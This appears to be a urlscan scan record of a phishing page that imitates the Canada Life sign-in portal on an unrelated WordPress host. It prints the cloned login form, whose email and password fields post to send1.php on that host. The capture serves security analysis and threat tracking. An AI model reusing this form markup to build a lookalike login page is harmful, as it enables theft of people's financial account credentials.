wp223324.wpdns.ca
Open in
urlscan Pro
173.209.36.131
Public Scan
Submitted URL: https://thanks-jysnt.formstack.com/forms/yahouri
Effective URL: https://wp223324.wpdns.ca/CALIFE/CA-LIFE/?id=CA9958290696007-LF938576928
Submission: On May 09 via api from CA — Scanned from CA
Effective URL: https://wp223324.wpdns.ca/CALIFE/CA-LIFE/?id=CA9958290696007-LF938576928
Submission: On May 09 via api from CA — Scanned from CA
Form analysis
2 forms found in the DOMPOST send1.php
<form action="send1.php" method="post">
<input type="hidden" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:j_id77:j_id79" value="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:j_id77:j_id79">
<script type="text/javascript" language="Javascript">
function dpf(f) {
var adp = f.adp;
if (adp != null) {
for (var i = 0; i < adp.length; i++) {
adp[i].parentNode.removeChild(adp[i]);
}
}
};
function apf(f, pvp) {
var adp = new Array();
f.adp = adp;
var ps = pvp.split(',');
for (var i = 0, ii = 0; i < ps.length; i++, ii++) {
var p = document.createElement("input");
p.type = "hidden";
p.name = ps[i];
p.value = ps[i + 1];
f.appendChild(p);
adp[ii] = p;
i += 1;
}
};
function jsfcljs(f, pvp, t) {
apf(f, pvp);
var ft = f.target;
if (t) {
f.target = t;
}
f.submit();
f.target = ft;
dpf(f);
};
</script>
<div id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:j_id77:j_id79:j_id246"></div>
</form>
Name: ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm — POST send1.php
<form id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm" method="post" action="send1.php" class="card login__card" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm" value="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm">
<h2 class="h1">Sign in</h2>
<div class="nds-form-element nds-form-container">
<div class="nds-form-element__control nds-form-element__control-animated-label">
<div class="error-border" id="usernameDiv"><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:username" type="text" name="uzer" class="nds-input" tabindex="0" data-show-valid-msg="false" aria-describedby="emailMessages"
aria-required="true" data-type="email" data-show-valid-icon="false">
</div>
<label class="label" for="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:username"> Email address </label>
<div class="hint-text is-color-text-light" id="emailMessages">
<div aria-label="error" class="error-message is-hidden blank" id="usernameError" role="alert">
<span class="visually-hidden-icon">error</span>Make sure your email doesn't contain any accented letters and is formatted correctly. Example: name@domain.com
</div>
<div aria-label="error" class="error-message is-hidden blank2" id="usernameBlank" role="alert">
<span class="visually-hidden-icon">error</span>Enter your email address.
</div>
</div>
</div>
</div>
<div class="nds-form-element">
<div class="nds-form-element__control nds-form-element__control-animated-label"><span id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:password">
<style>
#passwordId_pwValidation li {
list-style: disc;
margin-left: 2rem;
}
#passwordId_pwValidation li.error,
#passwordId_pwValidation li.success {
list-style: none;
margin-left: 0rem;
padding-left: 2rem;
}
#passwordId_pwValidation li.error {
background-image: url('https://www.canadalife.com/content/dam/public/icons/system/x_error.svg');
background-position: top left;
background-repeat: no-repeat;
}
#passwordId_pwValidation li.error::before {
content: "Your password needs to include at least ";
position: absolute;
left: -10000px;
top: auto;
width: 1px;
height: 1px;
overflow: hidden;
}
#passwordId_pwValidation li.success {
background-image: url('https://www.canadalife.com/content/dam/public/icons/system/check_success.svg');
background-position: top left;
background-repeat: no-repeat;
}
#passwordId_pwValidation li.success::before {
content: "Success, your password includes ";
position: absolute;
left: -10000px;
top: auto;
width: 1px;
height: 1px;
overflow: hidden;
}
.error-border input[type="text"] {
margin-bottom: 0px;
}
.error-border input[type="password"] {
margin-bottom: 0px;
}
.password-hide-show {
width: 100%;
display: flex;
flex-direction: row;
}
.password-hide-show input[type="password"]:focus {
margin-right: 2px;
}
.password-hide-show div[role="button"]:hover {
box-shadow: inset 0 0 0 2px #93948e;
transition: box-shadow .4s ease;
}
.password-hide-show div[role="button"]:active {
box-shadow: inset 0 0 0 1px #93948e;
border-width: 1px;
}
.password-hide-show div[role="button"]:focus {
box-shadow: inset 0 0 0 2px #93948e;
outline: var(--n-theme-a11y-outline-width) solid var(--n-theme-a11y-outline-color);
outline-offset: var(--n-theme-a11y-outline-offset-inner);
}
.password-hide-show div[role="button"] {
background-color: white;
width: 175px;
border-width: 0px;
box-shadow: inset 0 0 0 1px #93948e;
color: var(--n-theme-color-text);
text-align: center;
vertical-align: middle;
line-height: 48px;
}
#passwordId_capslock-error {
display: none;
}
.visually-hidden-icon {
position: absolute;
clip: rect(1px, 1px, 1px, 1px);
}
</style>
<div class="nds-form-element nds-form-container" id="passwordId_PasswordDiv">
<div class="nds-form-element__control nds-form-element__control-animated-label">
<label class="label" for="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:password:j_id151:password"> Password </label>
<div class="password-hide-show error-border" id="passwordId_PasswordId">
<div id="passwordId_Password" style="display: contents;"><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:password:j_id151:password" type="password" name="pswd" value="" maxlength="50" tabindex="0"
class="locity-input nds-input" data-show-valid-msg="false" aria-describedby="passwordId_passwordHint" aria-required="true" data-show-valid-icon="false" autocomplete="off">
</div>
<div aria-label="Show password" id="passwordId_passwordButton" role="button" tabindex="0">Show</div>
</div>
<div class="hint-text is-color-text-light" id="passwordId_passwordHint">
<div id="passwordId_capslock-error" role="status">Caps lock is on</div>
<div class="is-hidden error-message blank nds-p-bottom_medium">
<span class="visually-hidden-icon">error</span> Enter your password.
</div>
<div class="is-hidden error-message invalid nds-p-bottom_medium">
<span class="visually-hidden-icon">error</span> Let?s make that password stronger.
</div>
<div class="is-hidden error-message mismatch">
<span class="visually-hidden-icon">error</span> Your passwords don?t match ? did you type too fast?
</div>
<div class="is-hidden error-message length">
<span class="visually-hidden-icon">error</span> Password must be less than 50 characters.
</div>
<div aria-live="assertive" class="is-hidden error-message weak" id="passwordId_ariaPwValidations">
<span class="visually-hidden-icon">error</span> Let?s make that password stronger. <ul>
<li aria-hidden="true" class="success" criteria="^.{12,50}$" id="passwordId_success-length">Success, your password includes at least 12 characters.</li>
<li aria-hidden="true" class="error" criteria="[A-Z]" id="passwordId_error-upper">Your password needs to include at least 1 uppercase letter.</li>
<li aria-hidden="true" class="success" criteria="[a-z]" id="passwordId_success-lower">Success, your password includes at least 1 lowercase letter.</li>
<li aria-hidden="true" class="error" criteria="[0-9]" id="passwordId_error-number">Your password needs to include at least 1 number.</li>
<li aria-hidden="true" class="success" criteria="[!#$%\-_=+<>]" id="passwordId_success-special">Success, your password includes at least 1 of these special characters: ! # $ % - _ = + < ></li>
</ul>
</div>
<div style="display:none"> Password must include at least: <ul id="passwordId_pwValidation">
<li criteria="[a-z]">1 lowercase letter</li>
<li criteria="[A-Z]">1 uppercase letter</li>
<li criteria="[0-9]">1 number</li>
<li criteria="^.{12,50}$">12 characters</li>
<li criteria="[!#$%\-_=+<>]">1 of these special characters: ! # $ % - _ = + < ></li>
</ul>
</div>
</div>
</div>
</div>
<script type="text/javascript">
//# sourceURL=passwordHideShow.js
$(document).ready(() => {
const $Password = $('#passwordId_PasswordDiv');
const $pwdValidations = $Password.find('#passwordId_pwValidation li');
const $ariaPwdValidations = $Password.find('#passwordId_ariaPwValidations li');
const errorClass = 'nds-has-error';
//Helper functions
function validate($field, focusSet, validations) {
const $container = $field.closest('.nds-form-element');
let errorFound = false;
return validations.reduce((err, {
assert,
target,
com
}) => {
if (!errorFound && assert(val)) {
$container.addClass(errorClass).find(target).removeClass('is-hidden');
if (!focusSet) {
$field.focus();
}
errorFound = true;
return true;
}
return err || false;
}, focusSet);
}
function showError($field, target, setFocus) {
$field.closest('.nds-form-element').addClass(errorClass).find(target).removeClass('is-hidden');
return setFocus && !!$field.focus();
}
function clearFieldErrors($field) {
$field.closest('.nds-form-container').removeClass(errorClass).find('.error-message:not(.is-hidden)').addClass('is-hidden');
}
function criteriaToData(idx, mess) {
const $mess = $(mess);
$mess.data('criteria', new RegExp($mess.attr("criteria")));
}
function togglePasswordFieldType(e) {
const $self = $(e.currentTarget);
const $pwdfield = $Password.find('[id$="password"]');
if ($pwdfield.prop('type') == "password") {
$pwdfield.prop('type', "text");
e.currentTarget.innerHTML = 'Hide';
$self.attr('aria-label', "Hide password");
} else {
$pwdfield.prop('type', "password");
e.currentTarget.innerHTML = 'Show';
$self.attr('aria-label', "Show password");
}
}
//Preprocessing page
$pwdValidations.each(criteriaToData);
$ariaPwdValidations.each(criteriaToData);
$Password.on('input', '[id$="password"]', (e) => {
const $self = $(e.currentTarget);
const val = $self.val();
clearFieldErrors($self);
$pwdValidations.removeClass('error').removeClass('success');
if (val.length === 0) {
$ariaPwdValidations.attr("aria-hidden", "true");
} else {
$pwdValidations.each((idx, mess) => {
const $mess = $(mess);
const valid = $mess.data('criteria').test(val);
$mess.toggleClass('error', !$mess.data('criteria').test(val));
$mess.toggleClass('success', $mess.data('criteria').test(val));
});
}
// find the capslock error element within the given password element.
const $capsLockError = $Password.find('[id$="passwordId_capslock-error"]');
if (true && event.getModifierState("CapsLock")) {
// Capslock on
$capsLockError.show();
} else {
// Capslock off
$capsLockError.hide();
}
}).on('focus', (e) => {
const $capsLockError = $Password.find('[id$="passwordId_capslock-error"]');
if (true && event.getModifierState("CapsLock")) {
// Capslock on
$capsLockError.show();
} else {
// Capslock off
$capsLockError.hide();
}
}).on('click', '[id$="passwordId_passwordButton"]', togglePasswordFieldType).on('keypress', '[id$="passwordId_passwordButton"]', (e) => {
if (e.keyCode == 13 || e.keyCode == 32) {
e.preventDefault();
togglePasswordFieldType(e);
}
})
});
window.onload = function() {
$('input[type=password]').attr("autocomplete", "off");
};
</script>
</span>
</div>
</div>
<div class="nds-form-element nds-form-container" id="remember-me-container">
<div class="nds-form-element__control nds-vertical_checkbox">
<span class="nds-checkbox"><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:rememberMe" type="checkbox" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:rememberMe" tabindex="0">
<label aria-label="Remember my email address" class="nds-checkbox__label" for="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:rememberMe">
<span class="nds-checkbox_faux"></span>
<span class="nds-form-element__label">Remember me</span>
</label>
</span>
</div>
</div><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:loginButton" type="submit" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:loginButton" value="Sign in" class="nds-button nds-button_brand">
<div id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:j_id247"></div>
</form>
Text Content
Skip to main content * * WELCOME TO MY CANADA LIFE Keep on top of your finances with My Canada Life. With 24/7 access to your info you can easily see where you are at, where you want to be and how to get there. Save time and energy with self-serve options and focus on what is important to you. SIGN IN Email address errorMake sure your email doesn't contain any accented letters and is formatted correctly. Example: name@domain.com errorEnter your email address. Password Show Caps lock is on error Enter your password. error Let?s make that password stronger. error Your passwords don?t match ? did you type too fast? error Password must be less than 50 characters. error Let?s make that password stronger. * Success, your password includes at least 12 characters. * Your password needs to include at least 1 uppercase letter. * Success, your password includes at least 1 lowercase letter. * Your password needs to include at least 1 number. * Success, your password includes at least 1 of these special characters: ! # $ % - _ = + < > Password must include at least: * 1 lowercase letter * 1 uppercase letter * 1 number * 12 characters * 1 of these special characters: ! # $ % - _ = + < > Remember me Register Forgot your password? ? The Canada Life Assurance Company 2009 - 2024 MANAGE YOUR COOKIE PREFERENCES Some cookies are essential for our site to function properly and can?t be switched off. You can, however, use this tool to manage your other cookie settings. Select each category to learn more about these different types of cookies, and note that leaving certain categories off may impact your experience on our website and limit the services we?re able to offer. More information about cookies Allow all cookies MANAGE MY COOKIE PREFERENCES ESSENTIAL COOKIES Always Active These cookies are necessary for the website to function properly and can't be switched off. Without these cookies, the site may not be secure and certain features may not work as expected. FUNCTIONAL COOKIES Functional Cookies These cookies allow the website to provide enhanced functionality, including remembering your language preferences or sign-in details for your online account. ANALYTICS AND PERFORMANCE COOKIES Analytics and Performance Cookies These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know about the usage of our site which can help us make improvements to make it easier for you to find relevant information. Back Button COOKIE LIST Search Icon Filter Icon Clear checkbox label label Apply Cancel Consent Leg.Interest checkbox label label checkbox label label checkbox label label Confirm my choices